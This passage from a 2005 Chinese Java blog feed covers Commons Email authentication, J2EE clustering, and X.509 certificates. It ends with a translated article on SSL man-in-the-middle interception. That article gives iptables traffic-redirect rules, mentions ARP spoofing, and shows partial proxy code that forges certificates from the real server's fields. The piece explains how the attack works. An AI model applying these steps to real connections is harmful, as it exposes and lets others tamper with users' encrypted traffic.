face=Courier>Email.setAuthenticator(javax.mail.Authenticator&nbsp;newAuthenticator)即可<BR><BR>这一点jakarta也做了，给我们提供了一个defaultAuthenticator<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">java.lang.Object<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;javax.mail.Authenticator<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.DefaultAuthenticator</SPAN></DIV><BR>覆盖掉该方法，实现你自己的东东 o_o<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #0000ff">protected</SPAN><SPAN style="COLOR: #000000">&nbsp;javax.mail.PasswordAuthentication&nbsp;getPasswordAuthentication()</SPAN></DIV><BR><BR>五：any more?<BR>当然有了 o_o 以后再写.<BR></FONT></DIV></DIV><img src ="http://www.blogjava.net/kapok/aggbug/14460.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 22:09 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14460.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>读"Under the Hood of J2EE Clustering" J2EE集群</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14458.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 14:01:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14458.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14458.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14458.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14458.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14458.html</trackback:ping><description><![CDATA[<DIV class=posttitle><A class=singleposttitle id=viewpost1_TitleUrl HREF="/scud/archive/2005/09/28/14362.html">读"Under the Hood of J2EE Clustering" J2EE集群</A> </DIV>
<P>原文地址<A href="http://www.theserverside.com/articles/article.tss?l=J2EEClustering" target=_blank>http://www.theserverside.com/articles/article.tss?l=J2EEClustering</A> .</P>
<P>此文章写的非常通俗易懂,用词简单,建议阅读一下,就是有点长.</P>
<P><STRONG>相关术语</STRONG></P>
<BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px">
<P>&nbsp;Scalability<BR>&nbsp;&nbsp;可度量<BR>&nbsp;<BR>&nbsp;High Availability<BR>&nbsp;&nbsp;高可用性<BR>&nbsp;<BR>&nbsp;Load balancing<BR>&nbsp;&nbsp;负载均衡<BR>&nbsp;<BR>&nbsp;Fault Tolerance<BR>&nbsp;&nbsp;错误冗余&nbsp;&nbsp;<BR>&nbsp;<BR>&nbsp;Failover<BR>&nbsp;&nbsp;崩溃挽回?<BR>&nbsp;<BR>&nbsp;Idempotent methods<BR>&nbsp;&nbsp;等幂函数? 意思就是函数本身也是从集群中获取一个节点来执行的函数...(咳,这么别扭)</P>
<P>&nbsp;</P></BLOCKQUOTE>
<P><BR><STRONG>HTTPSession 集群实现</STRONG></P><STRONG></STRONG>
<UL dir=ltr style="MARGIN-RIGHT: 0px">
<LI>Database persistence approach 数据库保存 
<LI>Memory replication approach 内存保存 
<UL>
<LI>&nbsp;&nbsp;Tomcat’s approach :Multi-servers replication &nbsp;多服务器复制:互相复制 
<LI>&nbsp;&nbsp;Weblogic, Jboss and WebSphere’s approach-- paired servers replication 结对复制 
<LI>&nbsp;&nbsp;IBM’s Approach -- centralized state server 中心服务器 
<LI>&nbsp;&nbsp;Sun’s approach – special Database 特殊数据库复制(内存) </LI></UL></LI></UL>
<P><STRONG>JNDI 集群实现</STRONG></P>
<UL>
<LI>&nbsp;Shared global JNDI Tree 共享JNDI树 
<LI>&nbsp;Independent JNDI&nbsp;独立的JNDI 
<LI>&nbsp;Centralized JNDI&nbsp;中心服务器JNDI<BR>&nbsp; </LI></UL>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;有些Application支持多个地址用逗号分割</P>
<P><BR>&nbsp;</P>
<P><STRONG>EJB集群实现</STRONG><BR>&nbsp;(略过...)<BR>&nbsp;<BR><STRONG>JMS和数据库连接的集群支持</STRONG><BR>&nbsp;很多不支持...</P>
<P><STRONG>Myths about J2EE clustering J2EE集群神话</STRONG></P>
<UL>
<LI>&nbsp;Failover can avoid errors completely. -- Negative &nbsp;<STRONG>FailOver能完全避免错误 --并非如此</STRONG><BR>&nbsp;&nbsp;执行到一半发生错误是很难避免的,除非调用的是"Idempotent methods"<BR>&nbsp;&nbsp;不过我觉得可以不考虑这个问题? </LI></UL>
<P>&nbsp;</P>
<UL dir=ltr style="MARGIN-RIGHT: 0px">
<LI>Stand-alone applications can be transmit transparently to a cluster structure. -- Negative! <STRONG>单机程序能够透明地发布到集群构架上 --并非如此</STRONG> 
<UL>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Http Session 限制</FONT><BR>&nbsp;&nbsp;&nbsp;保存在session里面的数据必须支持序列化<BR>&nbsp;&nbsp;&nbsp;避免保存大的对象<BR>&nbsp;&nbsp;&nbsp;内存复制集群的必须防止交叉引用<BR>&nbsp;&nbsp;&nbsp;setAttribute方法的调用<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Cache</FONT><BR>&nbsp;&nbsp;&nbsp;很多时候缓存不起效果<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Static variables<BR></FONT>&nbsp;&nbsp;&nbsp;类似单态的使用会造成问题,如果没有考虑集群的话&nbsp;&nbsp;&nbsp;<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>External resource</FONT><BR>&nbsp;&nbsp;&nbsp;外部资源例如上传文件如果保存在某个服务器的磁盘上会有问题.这时候要保存在数据库里或者使用磁盘阵列等解决方式.&nbsp;<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Special Services<BR></FONT>&nbsp;&nbsp;&nbsp;例如定时的服务,会造成每台服务器都去调用的可能,所以要考虑.<BR>&nbsp;&nbsp;&nbsp;<BR></LI></UL>
<LI>Distributed structure is more flexible than collocated one? -- Maybe Not! <STRONG>分布式结构比集中配置灵活 --可能不是</STRONG><BR>&nbsp;&nbsp;分析了Web容器和EJB容器的关系.<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp; </LI></UL>
<P><STRONG>Conclusion &nbsp;结论</STRONG><BR>&nbsp;集群并不是那么简单,从项目的开始就要考虑相关问题.</P><img src ="http://www.blogjava.net/kapok/aggbug/14458.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 22:01 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14458.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Phase</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14450.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 12:14:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14450.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14450.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14450.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14450.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14450.html</trackback:ping><description><![CDATA[<IMG src="mk:@MSITStore:C:\Ivan\books\Manning%20in%20Action%20Seriels\Morgan.Kaufmann.Publishers.Java.Web.Services.Architecture.eBook-LiB.chm::/7058final/images/fig610%5F01%5F0%2Ejpg"><img src ="http://www.blogjava.net/kapok/aggbug/14450.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 20:14 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14450.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>x509数字证书介绍</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14378.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 01:51:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14378.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14378.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14378.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14378.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14378.html</trackback:ping><description><![CDATA[x509数字证书介绍<BR><A href="http://sureserv.com/bbs/read.php?fid=17&amp;tid=17&amp;fpage=1">http://sureserv.com/bbs/read.php?fid=17&amp;tid=17&amp;fpage=1</A><SPAN class=tpc_content><BR><BR>一、什么是数字证书 <BR>数字证书就是互联网通讯中标志通讯各方身份信息的一系列数据，提供了一种在Internet上验证您身份的方式，其作用类似于司机的驾驶执照或日常生活中的身份证。它是由一个由权威机构-----CA机构，又称为证书授权(Certificate Authorit y)中心发行的，人们可以在网上用它来识别对方的身份。数字证书是一个经证书授权 中心数字签名的包含公开密钥拥有者信息以及公开密钥的文件。最简单的证书包含一 个公开密钥、名称以及证书授权中心的数字签名。一般情况下证书中还包括密钥的有 效时间，发证机关(证书授权中心)的名称，该证书的序列号等信息，证书的格式遵循 ITUT X.509国际标准。 <BR>一个标准的X.509数字证书包含以下一些内容： <BR>&nbsp; 证书的版本信息； <BR>&nbsp; 证书的序列号，每个证书都有一个唯一的证书序列号； <BR>&nbsp; 证书所使用的签名算法； <BR>&nbsp; 证书的发行机构名称，命名规则一般采用X.500格式； <BR>&nbsp; 证书的有效期，现在通用的证书一般采用UTC时间格式，它的计时范围为1950-2049; <BR>&nbsp; 证书所有人的名称，命名规则一般采用X.500格式； <BR>&nbsp; 证书所有人的公开密钥； <BR>&nbsp; 证书发行者对证书的签名。 <BR><BR>二、为什么要用数字证书 <BR>基于Internet网的电子商务系统技术使在网上购物的顾客能够极其方便轻松地获 得商家和企业的信息，但同时也增加了对某些敏感或有价值的数据被滥用的风险。买 方和卖方都必须对于在因特网上进行的一切金融交易运作都是真实可靠的，并且要使 顾客、商家和企业等交易各方都具有绝对的信心，因而因特网（Internet）电子商务 系统必须保证具有十分可靠的安全保密技术，也就是说，必须保证网络安全的四大要 素，即信息传输的保密性、数据交换的完整性、发送信息的不可否认性、交易者身份 的确定性。 <BR><BR>1、信息的保密性 <BR>交易中的商务信息均有保密的要求。如信用卡的帐号和用户名被人知悉，就可能 被盗用，订货和付款的信息被竞争对手获悉，就可能丧失商机。因此在电子商务的信 息传播中一般均有加密的要求。 <BR>2、交易者身份的确定性 <BR>网上交易的双方很可能素昧平生，相隔千里。要使交易成功首先要能确认对方的 身份，对商家要考虑客户端不能是骗子，而客户也会担心网上的商店不是一个玩弄欺 诈的黑店。因此能方便而可靠地确认对方身份是交易的前提。对于为顾客或用户开展 服务的银行、信用卡公司和销售商店，为了做到安全、保密、可靠地开展服务活动， 都要进行身份认证的工作。对有关的销售商店来说，他们对顾客所用的信用卡的号码 是不知道的，商店只能把信用卡的确认工作完全交给银行来完成。银行和信用卡公司 可以采用各种保密与识别方法，确认顾客的身份是否合法，同时还要防止发生拒付款 问题以及确认订货和订货收据信息等。 <BR>3、不可否认性 <BR>由于商情的千变万化，交易一旦达成是不能被否认的。否则必然会损害一方的利 益。例如订购黄金，订货时金价较低，但收到订单后，金价上涨了，如收单方能否认 受到订单的实际时间，甚至否认收到订单的事实，则订货方就会蒙受损失。因此电子 交易通信过程的各个环节都必须是不可否认的。 <BR>4、不可修改性 <BR>交易的文件是不可被修改的，如上例所举的订购黄金。供货单位在收到订单后， 发现金价大幅上涨了，如其能改动文件内容，将订购数1吨改为1克，则可大幅受益， 那么订货单位可能就会因此而蒙受损失。因此电子交易文件也要能做到不可修改，以 保障交易的严肃和公正。 <BR>人们在感叹电子商务的巨大潜力的同时，不得不冷静地思考，在人与人互不见面 的计算机互联网上进行交易和作业时，怎么才能保证交易的公正性和安全性，保证交 易双方身份的真实性。国际上已经有比较成熟的安全解决方案， 那就是建立安全证书体系结构。数字安全证书提供了一种在网上验证身份的方式。安全证书体制主要采 用了公开密钥体制，其它还包括对称密钥加密、数字签名、数字信封等技术。 <BR>我们可以使用数字证书，通过运用对称和非对称密码体制等密码技术建立起一套严密的身份认证系统，从而保证：信息除发送方和接收方外不被其它人窃取；信息在传输过程中不被篡改；发送方能够通过数字证书来确认接收方的身份；发送方对于自己的信息不能抵赖。 <BR><BR>三、数字证书原理介绍 <BR>数字证书采用公钥体制，即利用一对互相匹配的密钥进行加密、解密。每个用户自己设定一把特定的仅为本人所知的私有密钥（私钥），用它进行解密和签名；同时设定一把公共密钥（公钥）并由本人公开，为一组用户所共享，用于加密和验证签名。当发送一份保密文件时，发送方使用接收方的公钥对数据加密，而接收方则使用 自己的私钥解密，这样信息就可以安全无误地到达目的地了。通过数字的手段保证加 密过程是一个不可逆过程，即只有用私有密钥才能解密。在公开密钥密码体制中，常用的一种是RSA体制。其数学原理是将一个大数分解成两个质数的乘积，加密和解密用的是两个不同的密钥。即使已知明文、密文和加密密钥（公开密钥），想要推导出解密密钥（私密密钥），在计算上是不可能的。按现在的计算机技术水平，要破解目前采用的1024位RSA密钥，需要上千年的计算时间。公开密钥技术解决了密钥发布的管理问题，商户可以公开其公开密钥，而保留其私有密钥。购物者可以用人人皆知的公开密钥对发送的信息进行加密，安全地传送给商户，然后由商户用自己的私有密钥 进行解密。 <BR><BR>用户也可以采用自己的私钥对信息加以处理，由于密钥仅为本人所有，这样就产生了别人无法生成的文件，也就形成了数字签名。采用数字签名，能够确认以下两点： <BR>（1）保证信息是由签名者自己签名发送的，签名者不能否认或难以否认； <BR>（2）保证信息自签发后到收到为止未曾作过任何修改，签发的文件是真实文件。 <BR>数字签名具体做法是: <BR>（1）将报文按双方约定的HASH算法计算得到一个固定位数的报文摘要。在数学上保证:只要改动报文中任何一位，重新计算出的报文摘要值就会与原先的值不相符。这样就保证了报文的不可更改性。 <BR>（2）将该报文摘要值用发送者的私人密钥加密，然后连同原报文一起发送给接收者，而产生的报文即称数字签名。 <BR>（3）接收方收到数字签名后，用同样的HASH算法对报文计算摘要值，然后与用发送者的公开密钥进行解密解开的报文摘要值相比较。如相等则说明报文确实来自所称的发送者。　 <BR><BR>四、证书与证书授权中心 <BR>CA机构，又称为证书授证(Certificate Authority)中心，作为电子商务交易中受信任的第三方，承担公钥体系中公钥的合法性检验的责任。CA中心为每个使用公开密钥的用户发放一个数字证书，数字证书的作用是证明证书中列出的用户合法拥有证书中列出的公开密钥。CA机构的数字签名使得攻击者不能伪造和篡改证书。它负责产生、分配并管理所有参与网上交易的个体所需的数字证书，因此是安全电子交易的核心环节。 <BR><BR>由此可见，建设证书授权（CA）中心，是山西省开拓和规范电子商务市场必不可少的一步。为保证用户之间在网上传递信息的安全性、真实性、可靠性、完整性和不可抵赖性，不仅需要对用户的身份真实性进行验证，也需要有一个具有权威性、公正性、唯一性的机构，负责向电子商务的各个主体颁发并管理符合国内、国际安全电子 交易协议标准的电子商务安全证书。 <BR><BR>五、数字证书的应用 <BR>数字证书可以应用于互联网上的电子商务活动和电子政务活动，其应用范围涉及需要身份认证及数据安全的各个行业，包括传统的商业、制造业、流通业的网上交易，以及公共事业、金融服务业、工商税务、海关、政府行政办公、教育科研单位、保险、医疗等网上作业系统<BR></SPAN><img src ="http://www.blogjava.net/kapok/aggbug/14378.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 09:51 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14378.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SSL※ X509</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 01:40:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14377.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14377.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14377.html</trackback:ping><description><![CDATA[作者：Stealth <BR>翻译：nixe0n <BR><BR><A href="http://www.linuxbyte.net/view.php?skin=art&amp;ID=3320">http://www.linuxbyte.net/view.php?skin=art&amp;ID=3320</A><BR><BR><BR>简介 <BR><BR><BR>SSLv3的当前版本是3.1版，也被称为TLS。它提供了一种机制，在网络上进行安全的数据传输。它据说能够满足所有的安全需要，比如：你的银行帐户管理。 <BR><BR>但是在这里我将告诉你，这实际上是不可能的。 <BR><BR>在本文中，我首先将对SSL做一些介绍，这是非常重要的。不过，这里我们不会介绍诸如SSL是怎样实现连接的等深层问题，如果有兴趣，可以自己参考参考资料。 <BR><BR><BR><BR>1.为什么使用SSL <BR><BR><BR>SSL是为了实现网络数据传输中的如下目的设计的： <BR><BR><BR><BR>机密性 <BR><BR>这是通过对数据进行加密实现的，在进行SSL握手时，SSL选择一种对称算法对数据进行加密，然后才在网络上传输数据。SSL使用的加密算法有好多种，如果某种算法被新的网络攻击方法识破，它只要选择另外的算法就可以了。 <BR><BR><BR>消息的完整性 <BR><BR>SSL使用一种很健壮的信息验证码(Message Authentication Code)，例如：SHA-1，验证码被放在数据包的后部，并且和数据一块被加密。这样，如果数据被修改，其散列值就无法和原来的验证码匹配，从而能够检测出数据是否被修改。MAC同时也被用于保护SSL连接免受干扰。 <BR><BR><BR><BR>保护数据免受重放攻击(replay-attack) <BR><BR>SSL使用序列号来保护通讯方免受报文重放攻击。这个序列号被加密后作为数据包的负载。在整个SSL握手中中，都有一个唯一的随机数来标记这个SSL握手，这样重放便无机可乘。 <BR><BR><BR>免受recorder攻击(reorder-attack) <BR><BR>上面所说的序列号也可以防止攻击者记录数据包并以不同的次序发送。 <BR><BR><BR><BR>端点验证 <BR><BR>使用X509(当前版本是3)证书，SSL支持客户和服务器的验证。关于服务器的连接，我们稍后将深入介绍。 <BR><BR><BR>这听起来似乎很安全，但是看了本文介绍的程序，就就不这么想了。(不过，我们还不能打破客户端的验证) <BR><BR>使用本文介绍的攻击方法，我们就可以看到SSL连接上所有明文数据，根据我们的需要修改传输的数据，对数据进行中继发送，以错误的次序发送甚至丢弃我们不需要的报文。这种攻击方法就是所谓的途中人攻击(man in the middle attack，或者中间人攻击)。 <BR><BR><BR><BR>2.X509数字证书 <BR><BR><BR>X509数字证书是SSL的一个组成部分。在SSL握手过程中，服务器向客户发送自己的数字证书。一个X509数字证书包括发行者的识别名(Distinguished Name)、主体(Subject)的识别名、一个版本号和序列号、选择的算法、密钥的有效期时间窗，还有主体的公钥。 <BR><BR>主体(subject)是这个证书包含实体的名，证书中的公钥属于主体(Subject)。在平常的X509数字证书中，没有标志DNS名的域。通常，CN域被影射为DNS名，但是这只是一个客户和数字证书的实体必须都认可的协议。 <BR><BR>发行者(issuer)是使用自己的私钥签发这个数字证书。它叫做数字证书中心(Certificate Authority,CA)。 <BR><BR>让我们看一个X509数字证书： <BR><BR><BR>stealth@lydia:sslmim&gt; ./cf segfault.net 443|openssl x509 -text <BR>Certificate: <BR>Data: <BR>Version: 1 (0x0) <BR>Serial Number: 1 (0x1) <BR>Signature Algorithm: md5WithRSAEncryption <BR>Issuer: C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net/Email=crew@segfault.net <BR>Validity <BR>Not Before: Nov 19 01:57:27 2000 GMT <BR>Not After : Apr 5 01:57:27 2028 GMT <BR>Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR>Subject Public Key Info: <BR>Public Key Algorithm: rsaEncryption <BR>RSA Public Key: (1024 bit) <BR>Modulus (1024 bit): <BR>00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2: <BR>e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05: <BR>e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd: <BR>70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9: <BR>0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25: <BR>47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12: <BR>a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7: <BR>a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1: <BR>83:88:8f:c4:6a:8c:bb:26:fd <BR>Exponent: 65537 (0x10001) <BR>Signature Algorithm: md5WithRSAEncryption <BR>7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d: <BR>e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee: <BR>42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e: <BR>a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca: <BR>ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd: <BR>8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7: <BR>80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03: <BR>82:f1 <BR><BR><BR>要点： <BR><BR><BR>Issuer: C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net/Email=crew@segfault.net <BR><BR><BR>C、ST、L、O和Email构成发行者的识别名(distinguished name,DN)。 <BR><BR><BR>Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR><BR><BR>证书可以由一个公开的CA签发，或者由自己签发(就是所谓的自签发证书)。在这个例子中的证书就是由自己签发的。 <BR><BR>这是没有被拦截的原始数字证书。后面我们将看一下如果有人拦截连接看起来会怎样。 <BR><BR>当你的浏览器向<A style="COLOR: #003793" href="https://segfault.net/" target=_blank>https://segfault.net</A>的连接时，这个证书会在SSL握手期间进行交换。证书中保存的公钥就被用于会话的加密。 <BR><BR>为了具有pretty good层的安全性，证书应该由一个CA(你自己或者一个公开的CA)签发，客户有这个CA的公钥用于检查这个证书的合法性。如果客户没有这个CA的公钥，浏览器就会提示用户接受还是拒绝这个证书。这对于交互式的客户程序是必须的，不过事实上对于太多的站点发行的证书，客户并没有他们的公钥来检查证书的合法性。对于普通的交互式客户程序(例如：Netscape浏览器)，这种情况就可能造成使SSL连接失去意义。 <BR><BR><BR><BR>3.拦截 <BR><BR><BR>综上所述，X509数字证书是SSL的重要环节。它的任务就是保证客户和服务器之间的会话，并且它使用的密钥是正确的。 <BR><BR>现在，想象一下我们伪装一个证书，并对一个SSL连接进行转发会怎么样。 <BR><BR>这值得一试。我们的座右铭是“teile und herrsche（哪国英文？）”，这里我们必须解决两个问题： <BR><BR><BR><BR>a.劫持连接然后进行转发。 <BR><BR><BR>b.伪造一个数字证书，让客户以为他是和真正的服务器通讯。 <BR><BR><BR>a+b就是通常所说的途中人(man in the middle，又可以叫做中间人)攻击。从理论上X509应该能够阻止这种攻击，但是平常的交互式客户程序(例如：Netscape浏览器)所采取的证书检查方式使这种攻击方式有机可乘。 <BR><BR>第一个问题很好解决，假设我们位于客户和服务器之间，我们只要在我们的防火墙上略施小计(最好是在Linux或者BSD上:P)把连接重定向就可以了，另外我们把自己的程序称为mimd。对于Linux-2.2.x(ipchains)版本的内核，使用如下规则就可以截获https包文，把它们导入输入(input)链: <BR><BR><BR>ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp <BR><BR><BR>对于Linux-2.4.x内核(iptables)，可以使用如下规则： <BR><BR><BR>iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\ <BR>-j REDIRECT --to-port 10000 <BR><BR><BR>要给出SSL客户的源端口，如果我们忽略了这一点，mimid就会进入一个无限的循环(iptables将会重定向已经重定向的流量)。mimd被绑定到8888端口，它不匹配这条规则。你的物理位置不必位于SSL连接双方中间，位于服务器局域网内或者客户机局域网内就足够了。使用ARP欺诈就可以很好地完成这个工作，甚至连防火墙规则都不必修改。 <BR><BR>有了这些重定向规则，我们就可以着手建立的工具了。目标地址可以使用操作系统的API找到(getsockopt())。这个工具中的NS_Socket::dstaddr()函数在绝大多数操作系统中都可以成功编译。使用这个小程序，我们可以看到通过连接的数据。 <BR><BR>为了使这个小程序能够看到连接的明文数据，我们需要使用SSL_accpet()和SSL_connect()调用。首先，我们需要调用(accept()接受客户程序的连接，接着使用SSL_connect()向真正的服务器发起连接请求。然后，执行真正的SSL_accept()。假设我们已经完成了初始化内容，比如：加载密钥文件等。这时，在客户端，客户程序(例如：浏览器)就会询问用户是否接受这个工具的证书。 <BR><BR>但是，用户显然可以轻松认出这个证书是伪造的，因为他在浏览A公司的网站时，却收到B公司或者途中人的证书，必然会引起他的怀疑。 <BR><BR>下面我们将会解决这个问题。SSL_connect()和SSL_accept()的顺序应该正确，我将对其进行解释。 <BR><BR><BR><BR>4.DCA <BR><BR><BR>如果用户接受伪造的证书，我们就可以使用SSL_read()读出连接的明文数据，并使用SSL_write()把它们转发到真正的服务器。现在我们就着手解决如何伪造证书的问题。 <BR><BR>记住：在SSL_connect()要先于SSL_accept()调用，这样服务器可以把我们看做合法的用户，和我们进行正常的SSL握手，从而我们可以得到服务器的证书。 <BR><BR>下面我们看一下实际的代码： <BR><BR><BR>//阻塞，等待iptables劫持的连接 <BR>while ((afd = accept(sfd, (sockaddr*)&amp;from, &amp;socksize)) &gt;= 0) { <BR><BR>// 获得连接真正的 <BR>// 目的地址 <BR>if (NS_Socket::dstaddr(afd, &amp;dst) &lt; 0) { <BR>log(NS_Socket::why()); <BR>die(NULL); <BR>} <BR><BR>... <BR><BR>++i;//一个全局变量记录被劫持连接的数量 <BR>if (fork() == 0) {//fork出一个进程，由子进程处理被劫持的连接，父进程继续等待连接 <BR><BR>// 成为真正目的服务器的客户 <BR>if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) &lt; 0) { <BR>log("main::socket"); <BR>die(NULL); <BR>} <BR><BR><BR>if (NS_Socket::bind_local(sfd2, 8888+i, 0) &lt; 0) { <BR>log(NS_Socket::why()); <BR>die(NULL); <BR>}//把套接字绑定到本地端口，可以同时处理多个连接 <BR><BR><BR>// 向真正的服务器发起连接 <BR>if (connect(sfd2, (struct sockaddr*)&amp;dst, <BR>sizeof(dst)) &lt; 0) { <BR>log("main::connect"); <BR>die(NULL); <BR>} <BR><BR>... <BR><BR>client-&gt;start(); <BR>client-&gt;fileno(sfd2); // 使用sfd2和真正的服务器进行连接 <BR><BR>// 进行SSL握手以建立SSL连接 <BR>if (client-&gt;connect() &lt; 0) { <BR>log("Clientside handshake failed. Aborting."); <BR>die(NULL); <BR>} <BR><BR><BR>现在，我们和真正服务器之间的SSL握手已经完成。注意，在源代码中，SSL_connect()和SSL_accept()两个函数都被封装到了client和server对象中。现在，我们可以准备自己作为SSL服务器和SSL客户之间的连接了： <BR><BR><BR>// 服务器端 <BR><BR>server-&gt;start(); // 建立SSL对象 <BR>server-&gt;fileno(afd); // 使用afd套接字接受客户连接 <BR><BR><BR>我们进行真正的伪造，调用SSL_accept()： <BR><BR><BR>if (enable_dca) <BR>NS_DCA::do_dca(client, server); <BR><BR><BR>动态证书装配(Dynamic Certificate Assembly)函数do_dca()进行如下工作： <BR><BR><BR>给一个几乎是空白的证书(除了C域之外，其它RDN全部为空)，do_dca()使用和服务器进行SSL握手获得的内容填充剩下的RDN域。我们抽取L、ST、O、CN、OU和EMAIL域，把它们放到我们自己的证书，然后把这个证书显示给SSL客户。为了完成这个工作，do_dca()使用了字符串解析(抽取RDN域)，并调用OpenSSL提供的using X509_()函数。 